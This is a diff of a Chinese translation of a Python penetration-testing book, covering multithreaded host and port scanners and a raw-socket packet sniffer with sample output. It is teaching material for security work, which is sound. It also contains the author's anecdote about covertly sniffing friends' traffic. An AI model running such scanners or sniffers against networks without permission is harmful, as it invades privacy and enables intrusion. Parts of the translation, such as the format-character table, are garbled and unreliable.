秒内完成。作为练习,更改`tn`变量的值,将其从`2`设置为`30`,然后研究结果,找出`tn`的最合适和最佳值。 - -到目前为止,您已经看到 ping 通过多线程进行扫描;现在,我已经用 TCP 扫描方法编写了一个多线程程序: - -``` -import threading -import time -import socket, subprocess,sys -import thread -import collections -from datetime import datetime -'''section 1''' -net = raw_input("Enter the Network Address ") -st1 = int(raw_input("Enter the starting Number ")) -en1 = int(raw_input("Enter the last Number ")) -en1=en1+1 -dic = collections.OrderedDict() -net1= net.split('.') -a = '.' -net2 = net1[0]+a+net1[1]+a+net1[2]+a -t1= datetime.now() -'''section 2''' -class myThread (threading.Thread): - def __init__(self,st,en): - threading.Thread.__init__(self) - self.st = st - self.en = en - def run(self): - run1(self.st,self.en) - -'''section 3''' -def scan(addr): - sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM) - socket.setdefaulttimeout(1) - result = sock.connect_ex((addr,135)) - if result==0: - sock.close() - return 1 - else : - sock.close() - -def run1(st1,en1): - for ip in xrange(st1,en1): - addr = net2+str(ip) - if scan(addr): - dic[ip]= addr -'''section 4''' -total_ip =en1-st1 -tn =20 # number of ip handled by one thread -total_thread = total_ip/tn -total_thread=total_thread+1 -threads= [] -try: - for i in xrange(total_thread): - #print "i is ",i - en = st1+tn - if(en >en1): - en =en1 - thread = myThread(st1,en) - thread.start() - threads.append(thread) - st1 =en -except: - print "Error: unable to start thread" -print "\t Number of Threads active:", threading.activeCount() -for t in threads: - t.join() -print "Exiting Main Thread" -dict = collections.OrderedDict(sorted(dic.items())) -for key in dict: - print dict[key],"-->" "Live" -t2= datetime.now() -total =t2-t1 -print "scanning complete in " , total -``` - -理解这个程序应该没有什么困难。下图显示了所有内容: - -![How to create an efficient IP scanner](graphics/8583OT_02_04.jpg) - -IP-TCP 扫描器 - -该类将范围作为输入,并调用`run1()`函数。`section 4`部分创建一个线程,它是一个类的实例,占用一个较短的范围,并调用`run1()`函数。`run1()`函数有一个 IP 地址,从线程获取范围,并生成输出。 - -`iptcpscan.py`程序的输出如下: - -``` -G:\Project Snake\Chapter 2\ip>python iptcpscan_t.py -Enter the Network Address 10.0.0.1 -Enter the starting Number 1 -Enter the last Number 60 - Number of Threads active: 4 -Exiting Main Thread -10.0.0.5 -->Live -10.0.0.13 -->Live -scanning complete in 0:00:20.018000 - -``` - -对于 20 秒内 60 个 IP,性能还不错。作为练习,将两个扫描仪合并为一个扫描仪。** **# 目标机器上运行哪些服务? - -现在,您已经熟悉了如何扫描 IP 地址并识别子网中的活动主机。在本节中,我们将讨论在主机上运行的服务。这些服务是使用网络连接的服务。使用网络连接的服务必须打开一个端口;通过端口号,我们可以识别目标机器上正在运行的服务。在 pentesting 中,端口扫描的意义在于检查主机上是否运行任何非法服务。 - -考虑用户通常使用他们的计算机下载游戏的情况,并且在安装游戏期间识别木马。特洛伊木马进入隐藏模式并打开一个端口,将所有击键日志信息发送给黑客。在这种情况下,端口扫描有助于识别受害者计算机上运行的未知服务。 - -端口号范围从 0 到 65536。众所周知的端口(也称为系统端口)是那些范围从 0 到 1023 的端口,它们是为特权服务保留的。从 1024 到 49151 的端口范围是用于应用程序的注册端口类供应商;例如,端口 3306 是为 MySQL 保留的。 - -## 端口扫描仪的概念 - -TCP 的三向握手作为端口扫描器的逻辑;在 TCP/IP 扫描程序中,您已经看到端口(137 或 135)的 IP 地址在一定范围内。但是,在端口扫描程序中,IP 只是一个范围内的一个端口。取一个 IP,按用户给定的范围尝试连接每个端口;如果连接成功,端口将打开;否则,端口将保持关闭状态。 - -我编写了一个非常简单的端口扫描代码: - -``` -import socket, subprocess,sys -from datetime import datetime - -subprocess.call('clear',shell=True) -rmip = raw_input("\t Enter the remote host IP to scan:") -r1 = int(raw_input("\t Enter the start port number\t")) -r2 = int (raw_input("\t Enter the last port number\t")) -print "*"*40 -print "\n Mohit's Scanner is working on ",rmip -print "*"*40 - -t1= datetime.now() -try: - for port in range(r1,r2): - sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM) - socket.setdefaulttimeout(1) - - result = sock.connect_ex((rmip,port)) - if result==0: - print "Port Open:-->\t", port - # print desc[port] - sock.close() - -except KeyboardInterrupt: - print "You stop this " - sys.exit() - -except socket.gaierror: - print "Hostname could not be resolved" - sys.exit() - -except socket.error: - print "could not connect to server" - sys.exit() - -t2= datetime.now() - -total =t2-t1 -print "scanning complete in " , total -``` - -主逻辑已写入`try`块中,表示汽车的发动机。您熟悉的语法。让我们对输出进行 R&D。 - -`portsc.py`程序的输出如下: - -``` -root@Mohit|Raj:/port#python portsc.py - Enter the remote host IP to scan:192.168.0.3 - Enter the start port number 1 - Enter the last port number 4000 -**************************************** - - Mohit's Scanner is working on 192.168.0.3 -**************************************** -Port Open:--> 22 -Port Open:--> 80 -Port Open:--> 111 -Port Open:--> 443 -Port Open:--> 924 -Port Open:--> 3306 -scanning complete in 0:00:00.766535 - -``` - -前面的输出显示端口扫描仪在 0.7 秒内扫描了 1000 个端口;连接已满,因为目标机器和扫描机器在同一子网中。 - -让我们讨论另一个输出: - -``` - Enter the remote host IP to scan:10.0.0.1 - Enter the start port number 1 - Enter the last port number 4000 -**************************************** - -Mohit's Scanner is working on 10.0.0.1 -**************************************** -Port Open:--> 23 -Port Open:--> 53 -Port Open:--> 80 -Port Open:--> 1780 -scanning complete in 1:06:43.272751 - -``` - -现在,让我们分析输出;要扫描 4000 个端口,扫描仪需要 1:06:43.272751 小时,扫描需要很多时间。拓扑结构是: - -192.168.0.10 --> 192.168.0.1 --> 10.0.0.16 ---> 10.0.0.1 - -`192.168.0.1`和`10.0.0.16`IP 是网关接口。我们在`socket.setdefaulttimeout(1)`中放置了 1 秒,这意味着扫描器在每个端口上最多花费 1 秒。总共 4000 个端口意味着如果所有端口都关闭,则所需的总时间将为 4000 秒;如果我们把它转换成小时,它将变成 1.07 小时,这几乎等于我们程序的输出。如果我们设置`socket.setdefaulttimeout(.5)`,所需的时间将减少到 30 分钟,但仍然需要很长时间。没有人会使用我们的扫描仪。对于 4000 个端口,所用时间应少于 100 秒。 - -## 如何创建高效的端口扫描仪 - -我已经说明了良好端口扫描仪应考虑的一些点: - -* 多线程应该用于高性能 -* `socket.setdefaulttimeout(1)`方式应根据情况设置 -* 端口扫描程序应该能够获取主机名和域名 -* 端口应提供带有端口号的服务名称 -* 端口扫描应考虑总时间 -* 要扫描端口 0 到 65536,所需时间应为 3 分钟左右 - -现在,我已经编写了我的端口扫描仪,通常用于端口扫描: - -``` -import threading -import time -import socket, subprocess,sys -from datetime import datetime -import thread -import shelve - -'''section 1 ''' -subprocess.call('clear',shell=True) -shelf = shelve.open("mohit.raj") -data=(shelf['desc']) - -'''section 2 ''' -class myThread (threading.Thread): - def __init__(self, threadName,rmip,r1,r2,c): - threading.Thread.__init__(self) - self.threadName = threadName - self.rmip = rmip - self.r1 = r1 - self.r2 = r2 - self.c =c - def run(self): - scantcp(self.threadName,self.rmip,self.r1,self.r2,self.c) - -'''section 3 ''' -def scantcp(threadName,rmip,r1,r2,c): - try: - for port in range(r1,r2): - sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM) - #sock= socket.socket(socket.AF_INET,socket.SOCK_DGRAM) - socket.setdefaulttimeout(c) - result = sock.connect_ex((rmip,port)) - - if result==0: - print "Port Open:---->\t", port,"--", data.get(port, "Not in Database") - sock.close() - - except KeyboardInterrupt: - print "You stop this " - sys.exit() - - except socket.gaierror: - print "Hostname could not be resolved" - sys.exit() - - except socket.error: - print "could not connect to server" - sys.exit() - - shelf.close() -'''section 4 ''' -print "*"*60 -print " \tWelcome this is the Port scanner of Mohit\n " - -d=raw_input("\ t Press D for Domain Name or Press I for IP Address\t") - -if (d=='D' or d=='d'): - rmserver = raw_input("\t Enter the Domain Name to scan:\t") - rmip = socket.gethostbyname(rmserver) -elif(d=='I' or d=='i'): - rmip = raw_input("\t Enter the IP Address to scan: ") - -else: - print "Wrong input" -#rmip = socket.gethostbyname(rmserver) -r11 = int(raw_input("\t Enter the start port number\t")) -r21 = int (raw_input("\t Enter the last port number\t")) - -conect=raw_input("For low connectivity press L and High connectivity Press H\t") - -if (conect=='L' or conect=='l'): - c =1.5 - -elif(conect =='H' or conect=='h'): - c=0.5 - -else: - print "\t wrong Input" - -print "\n Mohit's Scanner is working on ",rmip -print "*"*60 -t1= datetime.now() -tp=r21-r11 - -tn =30 -# tn number of port handled by one thread -tnum=tp/tn # tnum number of threads -if (tp%tn != 0): - tnum= tnum+1 - -if (tnum > 300): - tn = tp/300 - tn= tn+1 - tnum=tp/tn - if (tp%tn != 0): - tnum= tnum+1 - -'''section 5''' -threads= [] - -try: - for i in range(tnum): - #print "i is ",i - k=i - r2=r11+tn - # thread=str(i) - thread = myThread("T1",rmip,r11,r2,c) - thread.start() - threads.append(thread) - r11=r2 - -except: - print "Error: unable to start thread" - -print "\t Number of Threads active:", threading.activeCount() - -for t in threads: - t.join() -print "Exiting Main Thread" -t2= datetime.now() - -total =t2-t1 -print "scanning complete in " , total -``` - -不要害怕看到完整的代码;我花了两个星期。我将向您解释完整的代码部分。在`section1`中,`subprocess.call('clear',shell=True)`语句在 Linux 中用于清除屏幕。接下来的两行与存储端口信息的数据库文件相关,将在创建数据库文件时对其进行解释。在`section 2`中,`myThread`类扩展了线程类,或者可以说继承了线程类。在下一行,`def __init__(self, threadName,rmip,r1,r2,c):`语句取 5 个值;第一个是`threadName`,存储线程名称;实际上,我把它用于调试目的。如果任何线程无法工作,我们可以打印线程名称。`rmip`参数是一个远程 IP 地址;`r1`和`r2`为第一个和最后一个端口号,`c`为连接方式;`section 4`向`section 1`提供所有值。从`run()`函数调用`scantcp()`函数。`Section 3`是汽车的发动机,在端口扫描仪部分的*概念中有解释。`data.get(port, "Not in Database")`陈述在这里是新的;这意味着如果在字典数据库中找到端口键,那么它将显示该值;否则将打印`Not in Database`。`Section 4`与用户交互。您可以提供主机名和 IP 地址,也可以提供域名;`if…else`语句完成此任务。`r11`和`r21`变量存储第一个和最后一个端口号。接下来的`if…else`语句定义了`c`的值,如果您认为与目标机的连通性差,但没有丢包,则可以按*H*;如果连接良好,则可以按*L*。`tn=30`变量定义单个线程处理的端口数。`tnum`变量计算完成任务所需的线程总数。* - -在进行了大量实验后,我编写了以下代码: - -``` -if (tnum > 300): - tn = tp/300 - tn= tn+1 - tnum=tp/tn - if (tp%tn != 0): - tnum= tnum+1 -``` - -当线程总数超过 300 时,线程将无法工作。这意味着线程数必须小于或等于 300。前面的代码定义了`tn`和`tnum`的新值。在`Section 5`中,没有什么是新的,因为您以前在 IP 扫描仪中看到过一切。 - -现在是时候查看`portsc14.py`程序的输出了: - -``` -root@Mohit|Raj:/port# python portsc14.py - -************************************************************ - Welcome this is the Port scanner of Mohit - - Press D for Domain Name or Press I for IP Address i - Enter the IP Address to scan: 10.0.0.1 - Enter the start port number 1 - Enter the last port number 4000 -For low connectivity press L and High connectivity Press H l - -Mohit's Scanner is working on 10.0.0.1 -************************************************************ - Number of Threads active: 135 -Port Open:----> 1780 -- Not in Database -Port Open:----> 80 -- HTTP -Port Open:----> 23 -- Telnet -Port Open:----> 53 -- DNS -Exiting Main Thread -scanning complete in 0:00:33.249338 - -``` - -我们的高效端口扫描仪的输出与之前的简单扫描仪相同,但从性能角度来看,存在巨大差异。一个简单的扫描仪花费的时间是 1:06:43.272751,但是新的多线程扫描仪只花费了 33 秒。它还显示服务名称。让我们检查端口 1 到 50000 的另一个输出: - -``` -root@Mohit|Raj:/port# python portsc14.py - -************************************************************ - Welcome this is the Port scanner of Mohit - - Press D for Domain Name or Press I for IP Address i - Enter the IP Address to scan: 10.0.0.1 - Enter the start port number 1 - Enter the last port number 50000 -For low connectivity press L and High connectivity Press H l - -Mohit's Scanner is working on 10.0.0.1 -************************************************************ - Number of Threads active: 301 -Port Open:----> 23 -- Telnet -Port Open:----> 53 -- DNS -Port Open:----> 80 -- HTTP -Port Open:----> 1780 -- Not in Database -Port Open:----> 5000 -- Not in Database -Exiting Main Thread -scanning complete in 0:02:54.283984 - -``` - -所用时间为 2 分 54 秒;我在 high connectivity 中做了同样的实验,实验时间为 0:01:23.819774,几乎是前一次的一半。 - -### 注 - -在多线程实验中,如果我们产生`tn`个线程,那么`threading.activeCount()`总是显示`tn+1`个线程,因为它也计算主线程。主线程是运行所有线程的线程。作为练习,在 simple scanner 程序中使用`threading.activeCount()`方法,然后检查输出。 - -现在,我将教你如何创建一个包含所有端口号描述的数据库文件;代码如下: - -``` -import shelve -def create(): - shelf = shelve.open("mohit.raj", writeback=True) - shelf['desc'] ={} - shelf.close() - print "Dictionary is created" - -def update(): - shelf = shelve.open("mohit.raj", writeback=True) - data=(shelf['desc']) - port =int(raw_input("Enter the Port: ")) - data[port]= raw_input("\n Enter the description\t") - shelf.close() - -def del1(): - shelf = shelve.open("mohit.raj", writeback=True) - data=(shelf['desc']) - port =int(raw_input("Enter the Port: ")) - del data[port] - shelf.close() - print "\n Entry is deleted" - -def list1(): - print "*"*30 - shelf = shelve.open("mohit.raj", writeback=True) - data=(shelf['desc']) - for key, value in data.items(): - print key, ":", value - print "*"*30 - print "\t Program to update or Add and Delete the port number detail\n" - while(True): - print "Press" - print "C for create only one time create" - print "U for Update or Add \nD for delete" - print "L for list the all values " - print "E for Exit " - c=raw_input("Enter : ") - - if (c=='C' or c=='c'): - create() - - elif (c=='U' or c=='u'): - update() - - elif(c=='D' or c=='d'): - del1() - - elif(c=='L' or c=='l'): - list1() - - elif(c=='E' or c=='e'): - exit() - - else: - print "\t Wrong Input" -``` - -在前面的程序中,我们只存储了一个字典,其中包含作为端口号的键和作为端口号描述的值。词典名称为`desc`。所以我做了一个`desc`书架的钥匙,储存在一个名为`mohit.raj`的文件中。 - -``` -def create(): - shelf = shelve.open("mohit.raj", writeback=True) - shelf['desc'] ={} - shelf.close() -``` - -这个`create()`函数只是一个空字典。`desc`字典是程序中的字典,而`shelf['desc']`是文件中的字典。仅使用此函数一次即可创建文件。 - -``` -def update(): - shelf = shelve.open("mohit.raj", writeback=True) - data=(shelf['desc']) - port =int(raw_input("Enter the Port: ")) - data[port]= raw_input("\n Enter the description\t") - shelf.close() -``` - -此`update()`功能更新字典。在`writeback=True`语句**中`writeback`标志架会记住从文件中接收到的所有值,并且当前缓存中的每个值都会写回文件。`data=(shelf['desc'])`字典是货架字典,已分配给变量数据。`del()`功能从字典中删除任何端口号。`list1()`函数显示完整字典。为此,使用`for`循环。** - - **`updatec.py`程序的输出如下: - -``` -G:\Project Snake\Chapter 2>python updatec.py - Program to update or Add and Delete the port number detail - -Press -C for create only one time create -U for Update or Add -D for delete -L for list the all values -E for Exit -Enter : c -Dictionary is created -Press -C for create only one time create -U for Update or Add -D for delete -L for list the all values -E for Exit -Enter : u -Enter the Port: 80 - - Enter the description HTTP -Press -C for create only one time create -U for Update or Add -D for delete -L for list the all values -E for Exit -Enter : l -****************************** -80 : HTTP -****************************** -Press -C for create only one time create -U for Update or Add -D for delete -L for list the all values -E for Exit -Enter : e - -G:\Project Snake\Chapter 2> - -``` - -我希望您对端口扫描仪有一个大致的了解;简而言之,端口扫描器包括三个文件,第一个文件是扫描器(`portsc14.py`),第二个文件是数据库(`mohit.raj`),第三个文件是`updatec.py`。您只需升级`mohit.raj`文件以插入最大端口数的说明。** **# 总结 - -完成网络扫描以收集有关网络、主机和主机上运行的服务的信息。通过操作系统的`ping`命令进行网络扫描;ping 扫描利用 ping 功能扫描 IP 列表。有时,ping-sweep 不起作用,因为用户可能会关闭其 ICMP 回显回复功能或使用防火墙阻止 ICMP 数据包。在这种情况下,ping 扫描扫描仪可能无法工作。在这种情况下,我们必须利用 TCP 三方握手;TCP 在传输层工作,因此我们必须选择要在其上执行 TCP 连接扫描的端口号。Windows 操作系统的某些端口始终处于打开状态。因此,您可以利用这些开放端口。第一个主要部分专门用于网络扫描;当您执行网络扫描时,您的程序应该具有最大的性能并占用最少的时间。为了显著提高性能,应该使用多线程。 - -扫描活动主机后,端口扫描用于检查特定主机上运行的服务;有时,一些程序使用允许木马的互联网连接;端口扫描可以检测这些类型的威胁。为了进行有效的端口扫描,多线程起着至关重要的作用,因为端口号范围从 0 到 65536。要扫描一个巨大的列表,必须使用多线程。 - -在下一章中,您将看到嗅探及其两种类型:被动嗅探和主动嗅探。您还将学习如何捕获数据、数据包制作的概念以及使用 scapy 库制作定制数据包。**** \ No newline at end of file diff --git a/trans/py-pentest-dev/13.md b/trans/py-pentest-dev/13.md deleted file mode 100644 index e180968..0000000 --- a/trans/py-pentest-dev/13.md +++ /dev/null @@ -1,873 +0,0 @@ -# 第三章嗅探和渗透测试 - -当我攻读工程硕士学位时,我经常用我最喜欢的工具**凯恩&亚伯**嗅探朋友宿舍里的网络。我的朋友通常会在电子商务网站上冲浪。第二天,当我告诉他们在网站上买的鞋子很好时,他们会感到惊讶。他们总是想知道我是怎么得到这些信息的。这都是因为嗅探网络。 - -在本章中,我们将研究嗅探网络,并将涵盖以下主题: - -* 嗅探器的概念 -* 网络嗅探的类型 -* 使用 Python 进行网络嗅探 -* 使用 Python 制作数据包 -* ARP 欺骗的概念及 Python 实现 -* 通过定制数据包制作测试安全性 - -# 引入网络嗅探器 - -**嗅探**是使用软件(应用程序)或硬件设备监控并捕获通过给定网络的所有数据包的过程。嗅探通常由网络管理员完成。但是,攻击者可能会使用嗅探器捕获数据,这些数据有时可能包含用户名和密码等敏感信息。网络管理员使用交换机跨端口。交换机向 SPAN 端口发送一份通信量副本。管理员使用此 SPAN 端口分析流量。如果你是黑客,你一定使用过 Wireshark 工具。嗅探只能在子网内完成。在本章中,我们将学习如何使用 Python 进行嗅探。然而,在此之前,我们需要知道有两种嗅探方法。详情如下: - -* 被动嗅探 -* 主动嗅探 - -## 被动嗅探 - -被动嗅探是指从基于集线器的网络进行嗅探。通过将数据包嗅探器放置在混乱的模式下的网络上,黑客可以捕获子网内的数据包。 - -## 主动嗅探 - -这种类型的嗅探是在基于交换机的网络上进行的。交换机比集线器更智能。在检查 MAC 表后,它向计算机发送数据包。主动嗅探是通过使用 ARP 欺骗来实现的,这将在本章中进一步解释。 - -# 使用 Python 实现网络嗅探器 - -在了解网络嗅探器的实现之前,让我们先了解一种特殊的`struct`方法: - -* `struct.pack(fmt, v1, v2, ...)`:此方法返回一个字符串,其中包含根据给定格式打包的值 v1、v2 等 -* `struct.unpack(fmt, string)`:此方法根据给定格式解压字符串 - -让我们讨论一下代码: - -``` -import struct -ms= struct.pack('hhl', 1, 2, 3) -print (ms) -k= struct.unpack('hhl',ms) -print k -``` - -上述代码的输出如下所示: - -``` -G:\Python\Networking\network>python str1.py -☺ ☻ ♥ -(1, 2, 3) -``` - -首先导入`struct`模块,然后将整数 1、2、3 打包为*hhl*格式。压缩值类似于机器代码。值使用相同的*hhl*格式解包;这里,h 表示短整数,l 表示长整数。后续章节将提供更多详细信息。 - -考虑客户服务器模型的情况;让我们用一个例子来说明它。 - -运行`struct1.py`。文件服务器端代码如下所示: - -``` -import socket -import struct -host = "192.168.0.1" -port = 12347 -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -s.bind((host, port)) -s.listen(1) -conn, addr = s.accept() -print "connected by", addr -msz= struct.pack('hhl', 1, 2, 3) -conn.send(msz) -conn.close() -``` - -整个代码与我们前面看到的相同,`msz= struct.pack('hhl', 1, 2, 3)`打包消息,`conn.send(msz)`发送消息。 - -运行`unstruc.py`文件。客户端代码为如下: - -``` -import socket -import struct -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -host = "192.168.0.1" -port =12347 -s.connect((host,port)) -msg= s.recv(1024) -print msg -print struct.unpack('hhl',msg) -s.close() -``` - -客户端代码接受消息并以给定格式将其解压缩。 - -客户端代码的输出如下所示: - -``` -C:\network>python unstruc.py -☺ ☻ ♥ -(1, 2, 3) -``` - -服务器端代码的输出如下所示: - -``` -G:\Python\Networking\program>python struct1.py -connected by ('192.168.0.11', 1417) -``` - -现在,您必须对如何打包和解包数据有一个大致的了解。 - -## 格式字符 - -我们已经在打包和解包方法中看到了格式。在下表中,我们有 C 类型和 Python 类型列。它表示 C 和 Python 类型之间的转换。标准大小列是指压缩值的大小,以字节为单位。 - - -| - -总体安排 - - | - -C 型 - - | - -Python 类型 - - | - -标准尺寸 - - | -| --- | --- | --- | --- | -| x | 填充字节 | 无价值 |   | -| C | 烧焦 | 长度为 1 的字符串 | 1. | -| B | 签名字符 | 整数 | 1. | -| B | 无符号字符 | 整数 | 1. | -| ? | _ 布尔 | 布尔 | 1. | -| H | 短的 | 整数 | 2. | -| H | 无符号短 | 整数 | 2. | -| 我 | int | 整数 | 4. | -| 我 | 无符号整数 | 整数 | 4. | -| L | 长的 | 整数 | 4. | -| L | 无符号长 | 整数 | 4. | -| Q | 长长的 | 整数 | 8. | -| Q | 无符号长-长 | 整数 | 8. | -| F | 浮动 | 浮动 | 4. | -| D | 双重的 | 浮动 | 8. | -| s | 字符[] | 一串 |   | -| P | 字符[] | 一串 |   | -| P | 空虚* | 整数 |   | - -让我们检查一个值以不同格式打包时会发生什么: - -``` ->>> import struct ->>> struct.pack('b',2) -'\x02' ->>> struct.pack('B',2) -'\x02' ->>> struct.pack('h',2) -'\x02\x00' - -``` - -我们把数字 2 包装成三种不同的格式。从上表可知,*b*和*b*各为 1 字节,这意味着它们的大小相同。但是,*h*是 2 字节。 - -现在,让我们使用长的`int`,它是 8 个字节: - -``` ->>> struct.pack('q',2) -'\x02\x00\x00\x00\x00\x00\x00\x00' - -``` - -如果我们在网络上工作,`!`应按以下格式使用。`!`用于避免混淆网络字节是小端还是大端。有关 big-endian 和 little-endian 的更多信息,请参考*Endianness*上的维基百科页面: - -``` ->>> struct.pack('!q',2) -'\x00\x00\x00\x00\x00\x00\x00\x02' ->>> - -``` - -在格式中使用`!`可以看到的差异。 - -在继续嗅探之前,您应该了解以下定义: - -* **PF_ 包**:在设备驱动层操作。Linux 的 pcap 库使用 PF_ 数据包套接字。要运行此操作,您必须以 root 用户身份登录。如果您想在互联网协议层下的最基本级别发送和接收消息,那么您需要使用 PF_ 数据包。 -* **原始套接字**:它不关心网络层堆栈,提供直接向应用程序发送和接收数据包的快捷方式。 - -字节顺序转换使用以下套接字方法: - -* **socket.ntohl(x)**:这是长主机的网络。它将 32 位正整数从网络转换为主机的字节顺序。 -* **socket.ntohs(x)**:这是网络对主机短路。它将网络中的 16 位正整数转换为主机字节顺序。 -* **socket.htonl(x)**:这是主机到网络的长度。它将 32 位正整数从主机转换为网络字节顺序。 -* **socket.htons(x)**:这是主机对网络短路。它将主机的 16 位正整数转换为网络字节顺序。 - -那么,前面四种方法的意义是什么呢? - -考虑一个 16 位数字 00000000000000,11。当您将此号码从一台计算机发送到另一台计算机时,其顺序可能会更改。接收计算机可能以另一种形式接收,例如 1100000000000000。这些方法从本机字节顺序转换为网络字节顺序,然后再转换回来。现在,让我们看一下实现网络嗅探器的代码,它将在 TCP/IP 的三层上工作,即物理层(以太网)、网络层(IP)和 TCP 层(端口)。 - -在我们看代码之前,您应该了解所有三层的头: - -* **The Physical layer**: This layer deals with the Ethernet frame, as shown in the following image: - - ![Format characters](graphics/8583OT_03_01.jpg) - - 以太网帧 ieee802.3 的结构 - - 上图说明如下: - - * **前导码**由 7 个字节组成,全部格式为 10101010,接收机使用它来建立位同步 - * **开始帧定界符**由一个字节 10101011 组成,它是一个帧标志,指示帧的开始 - * **目的地**和**源**地址是通常引用为 6 字节序列的以太网地址 - - 我们只对源地址和目标地址感兴趣。数据部分包含 IP 和 TCP 头。 - - ### 注 - - 您应该始终记住的一点是,当帧到达我们的程序缓冲区时,它不包含**前导**和**开始帧分隔符**字段。 - - MAC 地址如`AA:BB:CC:56:78:45`包含 12 个十六进制字符,每个字节包含 2 个十六进制值。为了存储 MAC 地址,我们将使用 6 字节的内存。 - -* **网络或 IP 层**:在这一层中,我们对源和目的的 IP 地址感兴趣。 - -现在,让我们转到 IPv4 标头,如以下屏幕截图所示: - -![Format characters](graphics/8583OT_03_02.jpg) - -IPv4 报头 - -IPv4 数据包头由 14 个字段组成,其中只需要 13 个字段。第 14 个字段是可选的。此标头的长度为 20 字节。最后 8 个字节包含源 IP 地址和目标 IP 地址。从 12 到 16 的字节包含源 IP 地址,从 17 到 20 的字节包含目标 IP 地址。 - -* **The TCP header**: In this header, we are interested in the source port and the destination port address. If you notice the TCP header, you will realize that it too is 20 bytes long, and the header's starting 2 bytes provide the source port and the next 2 bytes provide the destination port address. You can see the TCP header in the following image: - - ![Format characters](graphics/8583OT_03_03.jpg) - - TCP 报头 - -现在,启动接口卡的混杂模式,并以超级用户的身份发出命令。那么,滥交或滥交模式是什么?在计算机网络中,混杂模式允许网络接口卡读取到达其子网的数据包。例如,在集线器环境中,当数据包到达一个端口时,它被复制到其他端口,并且只有预期用户读取该数据包。但是,如果其他网络设备以混杂模式工作,则该设备也可以读取该数据包: - -``` -ifconfig eth0 promisc - -``` - -通过键入命令`ipconfig`,检查前面命令的效果,如以下屏幕截图所示: - -![Format characters](graphics/8583OT_03_04.jpg) - -显示混乱模式 - -前面的屏幕截图显示的是**eth0**网卡,正在混乱模式下工作。 - -由于驱动程序、内核支持等原因,某些卡无法设置为混杂模式。 - -现在,是时候编码了。首先,让我们看一下以下全部代码,然后逐行理解: - -``` -import socket -import struct -import binascii -s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) -while True: - - pkt = s.recvfrom(2048) - ethhead = pkt[0][0:14] - eth = struct.unpack("!6s6s2s",ethhead) - print "--------Ethernet Frame--------" - print "desination mac",binascii.hexlify(eth[0]) - print "Source mac",binascii.hexlify(eth[1]) - binascii.hexlify(eth[2]) - - ipheader = pkt[0][14:34] - - ip_hdr = struct.unpack("!12s4s4s",ipheader) - print "-----------IP------------------" - print "Source IP", socket.inet_ntoa(ip_hdr[1]) - print "Destination IP", socket.inet_ntoa(ip_hdr[2]) - print "---------TCP----------" - tcpheader = pkt[0][34:54] - #tcp_hdr = struct.unpack("!HH16s",tcpheader) - tcp_hdr = struct.unpack("!HH9ss6s",tcpheader) - print "Source Port ", tcp_hdr[0] - print "Destination port ", tcp_hdr[1] - print "Flag ",binascii.hexlify(tcp_hdr[3]) -``` - -我们已经定义了行`socket.PF_PACKET, socket.SOCK_RAW`。`socket.htons(0x0800)`语法表示感兴趣的协议。`0x0800`代码定义了协议 ETH_P_IP。您可以在位于/`usr/include/linux`的`if_ether.h`文件中找到所有代码。`pkt = s.recvfrom(2048)`语句创建 2048 的缓冲区。传入帧存储在变量 pkt 中。如果你打印这个 pkt,它会显示元组,但是我们有价值的信息存在于第一个元组中。`ethhead = pkt[0][0:14]`语句从 pkt 中获取前 14 个字节。由于以太网帧的长度为 14 字节,且如下图所示,因此我们使用前 14 个字节: - -![Format characters](graphics/8583OT_03_05.jpg) - -标题的配置 - -这里的`eth = struct.unpack("!6s6s2s",ethhead)`语句`!`显示网络字节,`6s`显示 6 字节,正如我们前面所讨论的。`binascii.hexlify(eth[0])`语句返回二进制数据的十六进制表示形式。`eth[0]`的每个字节都转换为相应的两位十六进制表示。`ipheader = pkt[0][14:34]`语句提取接下来的 20 个字节的数据。接下来是 IP 头和`ip_hdr =struct.unpack("!12s4s4s",ipheader)`语句,它将数据解压为 3 部分,其中我们的目标和源 IP 地址分别位于第 2 部分和第 3 部分。`socket.inet_ntoa(ip_hdr[3])`语句将 32 位压缩 IPv4 地址(长度为四个字符的字符串转换为其标准虚线四元字符串表示形式。`tcpheader = pkt[0][34:54]`语句提取接下来的 20 个字节的数据。`tcp_hdr = struct.unpack("!HH16s",tcpheader)`语句分为三部分,即`HH16s`第一部分和第二部分源和目标端口号。如果您对该标志感兴趣,则以`tcp_hdr = struct.unpack("!HH9ss6s",tcpheader)`格式解包这些值。第四部分`s`给出了标志的值。 - -`sniffer1.py`的输出如下: - -``` ---------Ethernet Frame-------- -desination mac 000c292e847a -Source mac 005056e7c365 ------------IP------------------ -Source IP 208.80.154.234 -Destination IP 192.168.0.11 ----------TCP---------- -Source Port 80 -Destination port 1466 -Flag 18 ---------Ethernet Frame-------- -desination mac 005056e7c365 -Source mac 000c292e847a ------------IP------------------ -Source IP 192.168.0.11 -Destination IP 208.80.154.234 ----------TCP---------- -Source Port 1466 -Destination port 80 -Flag 10 - -``` - -我们的嗅探器现在工作正常。让我们讨论一下输出的结果。以太网帧显示目标 mac 和源 mac。IP 报头告诉源 IP 数据包到达的位置,目标 IP 是在我们的子网中运行的另一个操作系统。TCP 标头显示源端口、目标端口和标志。目标端口为 80,表示有人正在浏览网站。现在我们有了 IP 地址,让我们检查一下`208.80.154.240`上运行的是哪个网站: - -``` ->>> import socket ->>> socket.gethostbyaddr('208.80.154.240') -('upload-lb.eqiad.wikimedia.org', [], ['208.80.154.240']) ->>> - -``` - -前面的结果显示了[upload-lb.eqiad.wikimedia.org](http://upload-lb.eqiad.wikimedia.org)网站。 - -在输出中,显示了 2 个数据包。第一个标志显示值 18,第二个标志显示值 10。标志 12 表示 ACK 和 SYN 标志。标志 10 表示 ACK 标志,如下所示: - -![Format characters](graphics/8583OT_03_06.jpg) - -标志值 - -12 表示 0001 0010,设置 ACK 和 SYN 标志。10 表示仅设置了 ACK。 - -现在,让我们对代码进行一些修改。在代码末尾再添加一行: - -``` -print pkt[0][54:] -``` - -让我们检查输出是如何更改的: - -``` -HTTP/1.1 304 Not Modified -Server: Apache -X-Content-Type-Options: nosniff -Cache-control: public, max-age=300, s-maxage=300 -Last-Modified: Thu, 25 Sep 2014 18:08:15 GMT -Expires: Sat, 27 Sep 2014 06:41:45 GMT -Content-Encoding: gzip -Content-Type: text/javascript; charset=utf-8 -Vary: Accept-Encoding,X-Use-HHVM -Accept-Ranges: bytes 